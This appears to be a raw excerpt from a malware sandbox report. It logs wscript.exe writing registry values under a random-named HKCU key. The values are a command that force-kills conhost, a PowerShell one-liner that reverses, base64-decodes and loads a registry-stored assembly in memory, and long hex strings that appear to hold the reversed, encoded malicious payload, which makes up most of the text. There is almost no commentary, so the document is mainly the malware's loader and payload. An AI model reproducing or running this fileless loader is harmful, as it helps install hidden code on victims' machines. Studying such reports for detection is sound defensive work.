625F547567600374737968754003747E656E6F607D6F6360037375636F62705564716562734003727F64716275607F4003727F6272754973696C6F605C63737003727F6272754973696C6F605C637350037275607C6568456D69647E65725003727168634F54756760037E6F696473656C6C6F634E2D656473797350037E6F69637275667E6F6340037E6961647E6F6340037D627F66497D40037D627F664F54756760037D627F664E23777F646E69675E2D656473797350037C69647550037C6165717545636E6562756665625003776271447E6566754003776271456E696C446E616D6D6F636003776E6964747563597D4003776E6964747563556671635F6475714003776E69647475635F5475676003776E6962747350037564797244756740037564716369666964727563493035385E2978607162776F64707972734E29747962757365635E2D65647379735003756D616E45657C61665475674003756C6974735C6165737966556C62616E654F5475637003756C6261645F547567600375646F6D476E696767657265644003756362757F6375627E23756362757F6375625E227003756362757F6375625E297D4E227003756362757F6375625E2D656473797350037563696672756352756C69607D6F634E256D69647E65725E2D656473797350037563696672756352756C69607D6F634E23696371624C61657379665E24766F637F6273696D400375636966727563507F6275647E694E256D69647E65725E2D65647379735003756369667275635E6F69647163696C6070714E23696371624C61657379665E24766F637F6273696D400375636966727563526567597D4003756369667275635265675F54756760037563696675644E23696371624C61657379665E24766F637F6273696D4003736964737F6E676169644E2D656473797350027470547E6940027F64796E6F6D40027F6473636E20027F64736E20027F6471667964736140027F647162756D657E6544756740027F647162756D657E654940027F6272754473656A6F627054756350027F6272754473656A6F62705271656C634002756475707D6F63497D4002756475707D6F634F547567600275647275667E6F63447962400275647E654002756375547E656272757340027563755F5475676002756E6961647E6F63494002756C69607D6F634E2D6F6445646F634E2D65647379735002756C646E6168447E6566754E677F64647578635002756C646E6168446564646160027567616E616D447E696F605563696672756350027567616E616D456362757F6375625F547567600275646E65637002756469667F62705473656A626F437D627F66497D4F5D6002756469667F62705473656A626F4375636966727563526567597D4F5D6002756469667F62705473656A626F42756475707D6F634F5D6002756469667F62705473656A626F427563755F5D6002756469667F62705473656A626F4070714F5D600275646165625D616562747350017E696C4E2D656473797350007071446E654000796B63500F62756A500F666E69456275747C6573400E677F64647578635F546461600E6572500E6F69647075636875447E656D65776271400E6F6964707563687542756E6E694F547567600E6F696470756368754E6F6964716275607F44696C61667E69400E6F696470756368754E6F696471636F667E69447567627164500E6F69647075636875426567500E6F696473656C6C6F63477F6251647164400E6F696473656C6C6F63456C62616451647164400E6F696473656C6665625E2D6564737973500E6F6964736563566F4775696650716D6E65547E400E6F696473616275647E69400E6F6964716A796C61626F6C674E2D6564737973500E6F69647162757769666E6F634E2D6564737973500E6F69647163696C607071497D400E6F69647163696C6070714F547567600E696F6A400E69616863600E6961686349303538500E69616D400E67696375644E2C65646F6D447E656E6F607D6F634E2D6564737973500E616D456362757F637562700D657E65400D627F664E69616D4564716562734E6F400D627F664E69616D4F547563700D6564737973500D6564794F547567600D616562747355637E6F60737562547567400C6275556C6966600C6F62747E6F63477F6C664473656A626F400C6F62747E6F6342756E6961647E6F63400C6D6854616562500C6C696B400C6C646E2C6C64647E600C6C646E223332756375700C6C646E22333C656E62756B600C65646F6D447E656E6F607D6F634E2D6564737973500C65646F6D4473656A626F4E237E6F696473656C6C6F634E2D6564737973500C61686372716D400B6361626C6C61634E6F69647164696C616655647163696669647275634275667275635F547563700B6361626C6C61634E6F69647164696C6166556471636966696472756345647F6D6562500864776E656C4F5475676008647160507D656454756740076E69677162744E2D656473797350076E69637F6073796460076E6962747372657350076E696274735F6450076E69627473556271607D6F6340076E69627473556362757F63756254756740076E696275646E656254787564556C62696471607D6F634563755F54756760076E696E6F69637275665E256D69647E65725E2D656473797350076E696461656278645E2D656473797350066F456A796350056A796C616964796E694E6F40056A7963547E65696C634F54756370056A79635F547567600568756E216005667F6D656250056671635005657C61665475635005657C61665475674005657C61665473656A626F4475674005657C61665369647164735461656278645F5D60056479724F6450056475726962747471497479627573656355646F63446567616E616D6E655373756270707573500564757269627474714974796C6962696471607D6F63456D69647E657250056475726962747471497E61607D6F63497C626D6563737140056475726962747471447867696279707F63497C626D6563737140056475726962747471447365746F6270597C626D6563737140056475726962747471437E6F69647168716C65625E6F6964716C69607D6F63400564757269627474714E6F696470796273637564497C626D65637371400564757269627474714E6F696473656C6C6F6340757F6277497D400564757269627474714E6F6963727566556C6966497C626D65637371400564757269627474714E65646469684275676765726564400564757269627474714B627F67756D616276447567627164500564757269627474714B62716D6564616274597C626D65637371400564757269627474714867657F62786450756473527567676572656440056475726962747471456D616E456C65746F6D4564696840056475726962747471456C65746F6D446271646E61647350056475726962747471456C647964597C626D6563737140056475726962747471456C62696379665D6F6340056475726962747471456C626163777F6272427F6479646540056475726962747471456C62616767657265644005647572696274747145646F63427563755E6F6E42756767657265644005647572696274747145646F634465647162756E65674005647572696274747144627F6779756B407C65684005647572696274747144696577400564757269627474714465647162756E656742756E6769637564400564757269627474714465647162756E656742756C69607D6F634005647572696274747144616562786451445350056475726962747471436964716473546165627864500564716473556C626163777F6272427F64796465400564716562734005647163696669647275636005647163696669647275634930353850056372756675625274735005637F607379644005637F6C634005637E6F607375625475674005637E6F6073756252656750747478400563716243776E69647475635E6F69647163696C60707140056371624E6F69647163696C607071437D627F6643777F646E696750056275747C6573456362757F63756270056275747C65734F54756370056275747C65734F5475676005627F634E2D65647379735005607974547567400560797455657C61665E6F4B636F6C436E6973527F664B6365686340056E696C456479627750056D696459716C607379644E65656273635863716C60735D657D696E696D4F54756370056D616E49724375637375636F627054756740056D616E45676165776E616C4F435942756474756C4F67745F54756760056D616E4F54756760056C697473587F6247637D40056C6974735E677F64647578635F54756370056C6F637E6F6340056C696640056C646E61684D6F62764560797454756740056C646E616845607974556D69647E657250056C6261647863716840056C6261637F607379644940056C626162756D657E6540056C626169627166547E656D6E6F6279667E6544756740056C6261645164716440056B61645005676165776E616C4475707E69447E65627275734F547567600567616373756D4F5475676005646F6D4E677F64647578635005646F6D4E6F6964716369647E65686475714005646F6D456C6163635F6475714F5475637005646F6D446165625C6D685005646F63437574716473507474784005646F634375747164735F5475676005646F63486371684475674005636E6164737E696005636E6164737E69447C65716665646005636E6164737E694475674F5475676005636E6164737E694564716562734005636E6164737E69456C676E696353794F547563700563616C60756250046F6864756D4F54756370046E654F64546165625004656A796E6F6278636E69735004656471656273476E6965624D627F664F5D600465637F6073796443794F5475676004646140046165627864556D657375625004694972437375636F62705475674003696371624C61657379665E24766F637F6273696D40036962756E65674E237E6F696473656C6C6F634E2D65647379735002696C627F63637D60016471644473656A6F627050016471644E2D6564737973500F5F55636E6164737E694F5F556471656273400F5F55636E6164737E694F5F55637F60737964400F5F54256275737F6C634F500A585B400A5651500A51414009565A500951575009584A40095343400857575008565150085B49500852424007595A5007585A50075B4250075B4A4006565650065A4240055555500554545004575B4004565D40045353500452525004584440035151500254565002515650025A4B400258474002574C4002534A50015858400158524001575950005958400051565000515C4000515640005F4F40005E4650005E4E40005E4D40005B4740005A4450005748500F4D4D400F494E2D6564737973500F4848400E4A54400E4959500E495C400E495B400E4859500E415C400E4D4D400E4C4C400D4A52400D4852500D4452400D4158500D4156400D4C4C400D4440500C4051500C4B42500C4B4B400C4849500C4840500B4D40500A4851500A4656400A4B4750094949400944200848595008485E400841524008405B4008464E4008424850074A5750064957500647545006465240064D4A40064D4440064B4450044A5E4003475640034B4B400348465003474650024451500E356C65746F6D4C300631347E694F64500233347E694F645002333E69675E24766F637F6273696D40013D627F664F54756370013D627F664F54756760013D627F664F5D6001306473796C40013062756469667F62705473656A626F456661635461656278645001306E6F696473656C6C6F63497C6E6F44616562500130656C626162756D657E654940003D21313F5F542164626D616C4F50003D21313944200000000D7003000D70020304D10D3305B0006305B00E530F810D330941092309410723094105210CC00B70000000010CC00970001000010CC00160000000010CC00F50001000010CC00A10001000000A0000100A000F0009000E0004000D0004000C0004000B00000E05F0000001000000000000000005050309D000000000000000000000040000000009098302E0000000000000000000000400000000020D4309D00000000000000000000004000000000F02E309D000000000000000000000040000000002098302E0000000000000000000000A000000000A0DA309D000000000000000000000040000000002056309D00000000000000000000004000002036000000000000000000000000001000000840002020EA009510000020115D007510000030B0E600551000002021A30035100000202182001510000020117B00F41000002011CB00D410000020111A00B410000020116A009410000020014700741040002010E700F31000001010C000B31004301D306C30B710D710D300A7003700C6005600E5A005A083A054007100F3002000510073001000510063002000310031002000110021002000F000E0001000F000D0002000D000C0002000B000B00020009000A0002000700090002000500080002000300070002050643033000050140027000050C3F09A000050C3117300005063501300005003C0BE000050B2E09300005062013000005012D046000050C1B0C200005071D0B8000000B000D000A000B000900070008000600060005000100040300C30AB301B30BA307A30E6206E200E20EB2039205520B420C310DC10DB10AA1091100000ED006C00F900A90059000900B800180015000100000000001000F000000000001030BE0023600300B78000602200B88000602200B8700E600300B7700C602200B8700C602200B8700A602200B87008602200B87006600300B77006602200B87004600300B77004602200B87002600300B77002602200B87000600300B77000602200B8600E602200B8600C600300B7600A600300B76008600300B76006600300B76004600300B76002602200B86002602200B86000602200B8500E602200BD5008602200BD5006602200BD5004602200BD5002602200BD5000602200BD400E602200BD400C602200BD400A602200BD4008602200BD400660220039200C602200BC200A607200B72002602200BC2002602200BB103C6022003B101C602200BB101C50380035103A600300B7103A600300B7101A708400BA1038600300B710386022003B101860FE00BA1036600300B71036602200B81006602200B91034602200B8100470EF003C1092602200B91032602200B810026022003D1030602200B81000607200B7009E602200BB003E602200BC003E6022003A003E602200B9003E602200B8000E607200B7009C607200B7003C60490037003C602200BB003C70AE003C009A6022003A003A602200BB003A602200BC003A60250037003A602200B9003A600300B7000A602200B8000A70CD003C00986093003700386022003A0038602200B9003860220039000870FC003C0096600300B7003660930037003660220039000670BB003C0094600300B70034609300370034602200390004508D00B600E250BC003600E2501A00B500E25038003500E2503800B400E25098003400E250C700B300E25038003300E2503800B200E250C7003200E2503700B100E25045003100E250B400B000E270AA003C0092607200B70002602200B8000260220038000230DC80F800C40001D0AD301810483085001D30E7F05D001D006050F83097302A809C001F30A9D0AD30963049B0CF1096309830023017303820BB001F0060D0AD001F0001D0AD3096101790C4301630E72130001F00AD20FB3095307620F9109730162165201E30B5F087301430D4110F30943063305E30943063C034309430F20009301430B2806D201E3042008830140060D0AD10963012C0E3201E30B1014A20173041014A201720412188201730D080BF3013101690C6309220AD3046101A203D903D3012003FD0AD101C101620EE109A207BD0AD109A201BA029101A20BA50D710990001208F1099204A50EB309000AD11F8109820E890C6209C10C5A04A101920A811C610982048D02C301020E70149209F2077A04A201F2017F0A1101820A6A0F510180001D0AD1018101640B710130010D0AD101310480088201E205430302017106AC08420980060A0A510972043401A109720F201902017208290E5209D10164048101320225011101720C130CC1017209121092017204101D8201D20F090C6209C20A00113201720609089201C200001D920171087304F209B10BF407D201B107C80BB1016006050981016105B118F1016106AD049209810B9114E20191016300C10961049D06A209810B6110F00C3105620BB00C310E8808820181088905720171048904A20170060D0AD00C31087507920971017B051201710B6110F0043105620BB0043101690C6001D10C5802B10161075F0C310161005118F1016109401D920171044D0D520960060D0AD004300011189009F102180FD009F10C0D0AD2016105030E820150060D0AD2094005150F8009F006050F820140060D0AD009F007E11C02013009FC0520019003FD0AD209300CED0962013007E401E20920060804C109300AD01FD00190060D0AD1093005D803A20120060D0AD001D00CC201E209100EBD0AD1092008B21B1109000FA40E31090009AF0CC001D006830F200C2006830F20042006830F200C1006830F20041006830F200C00060D0AD00C20060D0AD00420060D0AD00C10060D0AD00410060D0AD00C00060D0AD009B005580EE00190010404B001900B4A04B0019004440D500190051018F00190051F0520019005130B0001900D3D0AD00190073C0120019002311D1101F00E290D200190060D0AD101E0060D0AD10940060D0AD10120001D0AD10910060D0AD10110060D0AD009E0062D0AD001E0060D0AD009C0060D0AD001C0060D0AD009A0060D0AD001A0060D0AD00990002D0AD009800A1D0AD00970001D0AD00170001D0AD00960001D0AD00160051D0AD00950001D0AD00150001D0AD00940001D0AD00140001D0AD00930001D0AD00130001D0AD009200A0D0AD00910060D0AD00110010D0AD009001A500400000B0F000300000502B00200000C00E0010000030F40010000030F400100000C0140010000080EB00100000C0140010000030F40010000030640010000010EA00400000104400300000106E00200000100000100000108000400000108200300000202100200000009D0010000010A800100000001C0050000010400040000010050030000010690020000000DC0010000000DD0020000000CF00100000008F0050000010C20040000010E600300000009C0020000010840010000010ED00500000005A00400000001A0030000010E80020000020610010000010AE00200000005E00100000106D00200000100100100000102B00200000100200100000106800200000005D00100000102700A00000001B00900000202000800000106F00700000108100600000102A00500000102900400000100300300000009B0020000010A700100000A0A80010000010AD0010000010C100100000000F0010000010AF0010000010EC00300000102C0020000010EB0010000010670020000010260010000010EF0010000090F700100000809F00200000C00E0010000080EB00100000F02B00100000F07C00100000005450900080803000000000138B0054106AD00E81110000000013CA00540060D0AD816000000000134A00540060D0AD81600000000013A90054006830F2803000000000138600540060D0AD81600000000013B50044400F206200100000000013150034408E20A300110000000013820034101690C6206C0000000013010034408F40DF003800000000034F003410483085206C0000000003CD002430E7F05D206C0000000003CB0014503000E680600000000003F8001440EF004680600000000003470014101690C6206C0000000003C50014408F40DF0038000000000304001410483085206C000000000382000430E7F05D206C00000000038000040060D0AD816000000000F2BF00F3400F2062001000000000F24E00E3408E20A3001100000000E2CB00A340FD2060001100000000B285006340FD1066006100000000B282005340AD102F06110008000000000003401D10E9061100080000000000E240BC106C06110008000000000092400C001E06110008000000000042405B00DB0611000800000000002240EA10410611000800000000000240EA1004061100080000000000E140EA001D061100080000000000C140EA10AA0611000800000000002140C910A906110008000000000011108700DA006100000000A20000011087102D00110000000092860001206010C400610000000082480001408910E70211000800000000000120601083006100000000828400F0403910C0021100080000000000E040681045006100000000728E00D010BFD04F006100840000528D00A040C8106B006100000000524700802000104300610000000052800070406810EE00610000000032CB0070106A20E0006100000000328B00700060118500100000000032080060005150F8204C00000000320300600060D0AD81600000000032F100604018F098803100000000328000604018111180610000000022C700404097F069001100000000220500400060D0AD81600000000022540040106AD00E81110000000022020030402750D18031000000002271003040C65011803100000000220000304066C07E803100000000128B00304016E07280310000000012C9003040C5F07F803100000000120800304075D045803100000000124600304025B0A18031000000001284003040D4D0C780310000000012C20030106AD00E811100000000027F00300060D0AD81600000000002DE0020005580EE204C0000000002CC00200060A01C204C00000000027B00200060D0AD81600000000002C800104074B00000310084000002053012004F00603012009E00603012102800604034005B01602091102E00602091009A0060209110A60060400410420060400410C300604004005C0060301210AC00603012106A006040B300100061407300DE006330DC80F80011403300C5006040F220EC001140A201280010407201BA00114042D0F00011400230F3001140B1509200114061A07D001140E0C0AA00134060C08C001130EFC0C70013306FC086001330EEC019001300440051005F000010AB000010B000440011005F000020A0000010B0001400F00096000020A10000125000F300E00096000000A300001050008300E000960000E0730000105000F200C000960000011000001050003200C00096D04F100100001000007100C00096D04FD04F00001010004100B000D7D04F002700000010003100B0009611BE21690000100000F0008000D911BEF07A0001100000C000600096E06EE0BE0000100000600010009611BE012C000110000050001000D511BED0980000000000100010009411BEB0A2000000000010001000000000008900000000A0DAC0F00060A022112600A0A0DAD00D0060A0DAB02E0060E0E8F0CD00E0F02EA028002120E600710060C0F440B000E1A0DAD0F60060A0DA00A80060E0F690BF0060A0DAA02D006001CCC0BF00A01085A0D9006001CC501700A001CC114800A020D4B09A006120D430AE006120D4B059006120D430280061A0DAD0FE0060E0E801A600E0108540050060E0E8012100E0108590F90060A0DA11C40060A0DA40550060A0DA80A80060209840F600E0209811F300E02098B02600E0E0E8209500E0A0DA118700602098F01800E0A0DA90E60060008721D400609098809E00A1F02E30290021F02EA0760021A022D0A400A0A0DA40610060E054D0C100E09020D07E0060E0E8A08700E0E05B01B30060B083500600A0B03821F10060A0DA40C20060E054303B00E0E054300A00E0F02EB0C20021A0DA403F0060214680160060214701A400A0F0A4B05000A0F0A4502A0060214790FA00A001CCB0BB00A001CC303700A01085C0B5006001CC50D600A001CC110800A020D411DC006101E1D06B006020D4017D0061D06F01A700A0F02E307D0021A0DAC0710060008721F0006020E600550060A022D09400A0E0E860E100E0A0DAF02C0060B083505500A0B0D4C0230060E05DC0BE0060D06F60370060A03E607400A0E05B60300060A0DA50000060B038B08C0060F02EA0DC002101E140220060A0DA50AD0060209870E900E0E054D04600E0A0DA01BB00602098700000E0E0E8608E00E0E090D0B800E0A03000520060D06F70810060D06F70960060A0DA500F0060E054509300E0A022604A00A0A022505C00A0D01360C500A0903170050060B03870180060E0F660930060E0F660DB0060B03870530060B03880F00060B038706F0060B03880A20060B038709B0060B038601D00600000F0B000F0D06F60090060E05B80340060E05B706D0060000000000010800D000000000020000000700000005000000060000000100000007000000010000000C0000000A000000030000000D0000000B000000060000000B10000002000000010000000A60000006A0000008400000034000000C1000000010000000700000010000061003310AF000000F190D12A5B75100000200000000000000026F6C6243200008001000092CE000000449455743200000001000092CD003555320000300E000052CF000000003776E69627473532000021CA000031050000E7320000214E000000C60050000000009313330333E203E24367000000C0000000000010001024A4352400A26000B2A07100110000100000007000100331A2400000F0086000001437E2A2A00000738220E1A200A000007382200062A26000B2A0A000006AE7A000006A08B200007082A0C270B010EF41B10000A0C8A000006AE700110000B10000006200200331000000A200A000007382200062A2B100008051EF300062A26000B2A0200050B2A0B20000408280C270B010EF41B1000080C82000110000A1000000D100200331A26000B2A0A00000F482200011000091000000C000100331A26000B2A0A000003382200000C00D00110000810000000100100331A26000B2A0A000004A82200011000071000000C0001003310000A26000B2A0A000003A82A00000838230200011000010000000210020033100A2B200006082400000D0C72020A7A000005A370700307927B0C230EF4130D1B220C210EF400000D0B72030EAA200B2400000D0B720400000D0D7B200005082400000D0B72020A6A26000B2A0A00000F482200011000091000000C000100331A26000B2A0A000003382200000B00D00110000810000000100100331A26000B2A0A000004A82200011000071000000C0001003310000A26000B2A0A000003A82A000008382302000110000100000002100200331000000A200A000007382200062A2B100008051EF3000A000002AF6B100008061EF3000A50000000071001E16000800200000009813000B90000800100000C11000A26000B2A02000CD00A000001AF6A000003382B10000800D400000C0E700A7A000000A37A00000F9F6401160116031A00000A9822AA00000B5F6A00000F9F640116152100000E4D87107003016276211EF30EF615011503130EF41A00000F9F640114031A00000A5825291B2616240D252100000025747EDA0B2000040820000A00000D9F641A000003382B10000800D400000C0E700400000C008A00000C93700C0B20000A7A00000B937A00000A982100000E4D861070030722761C290D0A0000099F6A000003382B10000800D400000C0E723C280C030EF41400000C0E70000008D9370B07110B2A0000089F6B100008061EF00F0F0C2B1000080C8200011000061000000FF005003B1100000D2000000840000209D000020A7000000F500000000100000D2000000D0000030A0000000B2000020FD000000000000431400A26000EDA00000D582A0610000EDA00000D58200A00000A582D0ED00A00000F6F6A0000079824840000031B78021C2F111F131A000006982A00000D8E740000011B7800000A00000A58284EDA071A7A00000E83760C2E111E13110EF51600000C28240000021B78000A7A00000E83760C2D111D13110EF616000007282401140000021B78000E1B200A7A00000E83760C2C111C13110EF616000006282401140000021B780F1C2B111B13110EFA1A000000982E96DA00000F8826D82F15011407011C2F14011A7A00000E83760C2A111A13110EF616000009282A021A1A00000598270116DE1801140000011B780FFFFFF67E32111311131316D7131110000A7A00000E83760C29111913110EF616000009282A021511181116D7111701140000011B7808131B200003082B2000020825111B200001082A00000F8826D41F1411140407131A00000F8826DC0F141114025C26111613120EF6151115131A00000F8826D01F141114041316D8D82F131116D0000008F02501100000018833131612131AD71A0000019826DC1501140A7A00000E83760C2111111317110B210EF616000009282A021A00000F8826D45F150114040701140000011B78002C270117031600000B28204F10000030002A00000F8826D05F1501140601120B26130D25040000011B780A7A00000E83760C2011101316110B230EF61600000A282901140000011B780213390116011A7A00000E83760C2F011F03110EF616000008282A021A190216DE1801140000011B78080314992F1401100A7A00000E83760C2E011E03110EF616000005282401140000021B78000E1B200A7A00000E83760C2D011D03110EF616000004282401140000021B780F1C2C011C03110EFA1A0000009826031A00000F8826D43F15011405031A00000F882C3F140A7A00000E83760C2B011B03110EF6160000032822021102141A00000D8E7A161A00000D8E7A00000D8E7902000E90010002002614011403110000076D80000003B02D0A00000C88220070030B127B0B2A00000B88230200700307027E0D2A00000A88230200000F051EF202140000051D78BA000009882A000003382200000010D10212000000151EF102100110000510000303200A003B10000A26000B2A0617E13B170B06D7170C0B2A07140C280C0600000E28250403020B071001100004100000022004003311000007372003C080034000000000000C0005B460015002000000000E000E7E00007002000008210000000A26000B2A0410000EDA00000D58200A000001682A000003682A00000B5F67011070020FA27007031A00000A5825272EDCD00A0000024F68070C28000C0ED0000A000001682A000003682A0000088F61000006361EF60216031A0000078F680070020D52700CD00A0000024F6401180C240110017EDA050115031A0000048F640114031A000003837A0000028F68000A2C290D010EF0000008C02A0000078F680C01000004347A0000018F670000000A0000008F6070020342770B01000003347A00000F7822000A000006882400000010852A0000058376000003460EF400000F0E761B240000001E770C240000001E700110000310000001F002003B1100000D22200C4B40010000000000000C00004D0003300200000C110A26000EDA00000D582A0A000003682A00000B5F65011070020B427005031A00000A58252CD00A0000024F69070C29000E2EDA040114031A0000048F690D0A000003837A0000028F68000C01000004347A0000018F67000A0000008F6070020342770B01000003347A00000F7822000001100002100000007002003B1100000D26100796900100000000000007100C7A400230020100000D2F00022F0003100000000821000A26000EDA00000D582A00700007427007031A00000A5825261EDA070CD00A0000024F610000084574011D0C21000008457401171ED2DD260116031A00000E7F6401100B0A00000D782A00000C7F60700203327501150311000002347A00000B7F6401112B24031A00000A7F6A0000097F6A0000087F661A0000077F6800000EDA00000D58200D0A00000A58252F0ED62A0000067F607002010278000C0A0000057370700101F27B00700007427000011000011000000FA002003B1A26000B2A0A0000047F640114031A00000373790D0F50000FFFF02A0000027822021C0600000D18270B0600000F18200110000010000000300200331A26000B2A0704E138090D06D8190C9A00000758201F1A0000065F6819020B581907081B2D061C0AD71A0000055F620B010000055D86D71AD71B581A0000055F6200001A0000017F60700007427070010DE272000110000F00000004500500331100000D2000000010000106B000010AA000000C000000000100000D20000000100001073000000720000100100000000000043140000A200A0000007820000EDA00000D582008131A00000A5825201EDCDD27111713140EF96E84111511151316D7151110000A00000F6F661116131A95111411161B25131614131A00000E6820700107D27CDD23111313140EF96E80111111111316D7111110000A00000F6F621112131A91111011161B21131610131A00000E6820700107C2700000000EDA00000D58200F031A00000A5825201ED62600000D2828011E01170116011E031600000C182A000003582600000228207001098270093C2D011D0316110B2A00000D6F6070010B727600000028211D2A00000C682610700105727A00000B6F6A00000A6F690119031A00000968262600000D28280115011701160118031617031A0000086E76031605031600000818220A0A00000368270401190C2C011C031A000007682A000003682704011A0A000003682709080C2B011B031A000007682A0000036827090A0A000003682708080C2A011A031A000007682A00000368270804031A000003682070010D127A000006682A0000056F661A000004682D0A0000036820700003D27A0000026820700007827C0A0000036820700005927A0000026820700007827B06000009182070000382720A007000074270000A000001682070000952700110000E0000010EC004003B1100000D2110023130010000000000110000000A26000EDA00000D582A06100C0A00000A5825211EDA07100A00000F5F67000A0000006F6403070B0A00000E5F671A00000B4820700009427200700005227A00000A4E70000110000D000000054004003B1100000D2510063530010000000000110000000A26000EDA00000D582A0070000D42700D0A00000A5825251EDA07000A00000F5F680B0A00000F4F6A00000E4F63080C0A00000E5F671A00000B4820700009427200700005227A00000A4E70000110000C0000000D4004003B1100000D2F1008F1F0070000000000000C000AE6C004200200000C11000A26000B2A010000055D8610000EDA00000D58262A00000C5824161A00000B5F60111000131A00000A58252F1EDCD00A0000024F68070C28000C0ED00A3EDA0A0000095F66011BD13E011F011F0316D81F01100A0000085F6A00000758201F1A0000065F681F01150116011F1B2F03161E031AD71A0000055F650116031A0000045375031A00000358240114031A000002582A0000015F67007000074276BD2D011D03140EF96E87011801180316D71801100000000A0000005F6C01170C031A00000F4F6A01131C2B011B03130EF41A011A031A000008382A00000E4F69011809031A980117011C3B28031617031A00000D4F6800000008B9390D030EF4180C0A00000C4F6A00000B4820700009327200700005227A00000A4E70000B0A00000943700110000B000001032004003B100A200A0A200A0000084F607000091272000A000007482A0000064370000102C0200003002022000A0000054827120400000B0D7A0000044372000ED00000000A00052420010002000000110000000A200CD00A000003482302000A0ED000000A0000024F6400000B0B720D0C260A06110B230EF41400000B0B720B0C23000001100001000000013002003B1000000A2600000618220A0000014822063A26000B2A0600000218200110000A0000000B00010033100000000C000558300D10020000001100000A26000B2A040000080E7000000CD0000A0000004828070C290C0ED000040000090087100A00000F3F6A00000E3376000001160EF416000008082E1C24011403110EF6140000090E700A00000D382302180D06100A00000C38280C0400000A0E70065C270B010EF6140000090E70011000090000000E6003003B1000000A2000000A00000B3F66000003182C0C260A0A00000A3F660000080820011000010000000D100100331000000A2A00000938220E1A2400000A008A000008382A00000733740000080082000006047A000006382600000013729A24000007008200022A26000B2A040000070E70011000080000000B000100331A26000B2A040000060E70000400000600880C0A000005337A0000043F6A000003382200000500D070000102712C270B0A0000023824140000060E70011000070000000C300200331A26000B2A0A0000013F640000050E700110000600000000100100331A26000B2A0A0000003F640000040E700110000500000000100100331A26000B2A0A00000F2F640000030E700110000400000000100100331A26000B2A0A00000E2F640000020E700110000300000000100100331A26000B2A0A00000D2F640000010E70011000020000000010010033100A24000005008A00000C2374000004008A00000B2374000003008A00000A2374000002008A0000092374000001008A000008237ECA200A000007282200062A26000B2A0A000006282302000A00000528261200011000010000000510020033100A200A00000428260000063F6600000A0822000E4A200A000003282612000A000002282712000A000001282712000A000000282612000A00000F182612000AA000000002000F0E0001000200000011000A200A00000E1F620600000808200CD0020ED00A00000D182A00000C182000000000000000000F1002003B1000000000000000000000000000000000000000000000000000000000000000000000000000000000000008B0000368C6000001000000010000013CF000013CC0050002000000084000000000000564300000000000000000000000000000000240000040000000000000000000000000000E4000000200000000A00000000C0000036F6C65627E204000004000000000000000000000000000084000000600000000800000050C600000036273727E2060000020000000000000000000000000000200000006400000002000000548500000047875647E20000000000000000000000840000028000000000000000000000008000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000008300004608000000C000000A0000000000000000000000000000000000000050C600000800000000F400005600000000000000000000000001000000000000010000010000000001000001000058060020000000000000200000000C0000000000000000600000000000000040000020000000020000040000000008000000020000005625000000000000800000006400000510B00022000E00000000000000002EE66676003010C4000054050000000000000042A0D0D0E25646F6D60235F44402E69602E657270256260247F6E6E6163602D6162776F62707023796864512DCC4108B12DC904B00E0ABF1E000000008000000000000000000000000000000000000000000000000000000000000000000000004000000000000008B0000FFFF00000040000000300009A5D4
(PID) Process:(7596) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\YwqNWzTslUjqsUb
Operation:writeName:cn
Value:
Stop-Process -Name conhost -Force
(PID) Process:(7596) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\YwqNWzTslUjqsUb
Operation:writeName:v
Value:
{[}AppDomain{]}::CurrentDomain.Load{(}[Convert{]}::FromBase64String{(}{(}-join {(}Get-ItemProperty -LiteralPath 'HKCU:\Software\YwqNWzTslUjqsUb' -Name 's'{)}.s | ForEach-Object {{}$_{[}-1..-{(}$_.Length{)}{]}{}}{)}{)}{)}; {[}lol.lol{]}::lol{(}'YwqNWzTslUjqsUb'{)}
(PID) Process:(7596) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\YwqNWzTslUjqsUb\donn
Operation:writeName:segment1
Value:
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007308000000C0000009000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0D0E397C626D656373716F2C3A0D0E3F666E6944737572747F2C30202A0D0E39747962757365637F2C302020202A0D0E337567656C69667962705465647375657175627F2C3020202020202A0D0E3F2225637C6166622D3373756363614965702222756B6F667E694371622D3C6566756C602C6566756C4E6F696475736568754465647375657175627C30202020202020202A0D0E3223367E2D63716A3D6F636D24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D6870237567656C69667962705465647375657175627C3020202020202A0D0E39747962757365637C302020202A0D0E3222367E2D63716A3D6F636D24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D68702F666E6944737572747C30202A0D0E3F222070716E2E6F69647163696C607071497D422D356D616E6022203E203E203E21322D3E6F696372756670297479647E656469497C626D656373716C30202A0D0E32203E21322D3E6F696372756654737566696E616D602221367E2D63716A3D6F636D24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D6870297C626D656373716C3A0D0E3F32237569722D356E6F6C61646E6164737022283D264455522D376E69646F636E656022203E21322D3E6F6963727566702C6D687F3C3FBBBFE000000000000000300E2000300E2000300E20013000000E600F6009600370027005600650002009700C6002600D600560037003700140010008000830000000300E2000300E2000300E20013000000E600F600960037002700560065004700360057004600F600270005001000800043000000560087005600E2004700E60056009600C6003400850000005600D6001600E6005600C60096006400C6001600E6009600760096002700F4001000C00004000000020000004700860076009600270097000700F6003400C600160076005600C4001000200082000000560087005600E2004700E60056009600C6003400850000005600D6001600E400C6001600E600270056004700E60094001000C000830000000300E2000300E2000300E200130000000000E600F600960037002700560065005600C600960064001000800003000000020000000000E600F6009600470007009600270036003700560044005600C6009600640010002000C2000000030026004300030003000300030003001000001008000000F6006600E60094005600C600960064007600E6009600270047003500100000104A400B00000000000000E600F600960047001600C6003700E600160027004500000040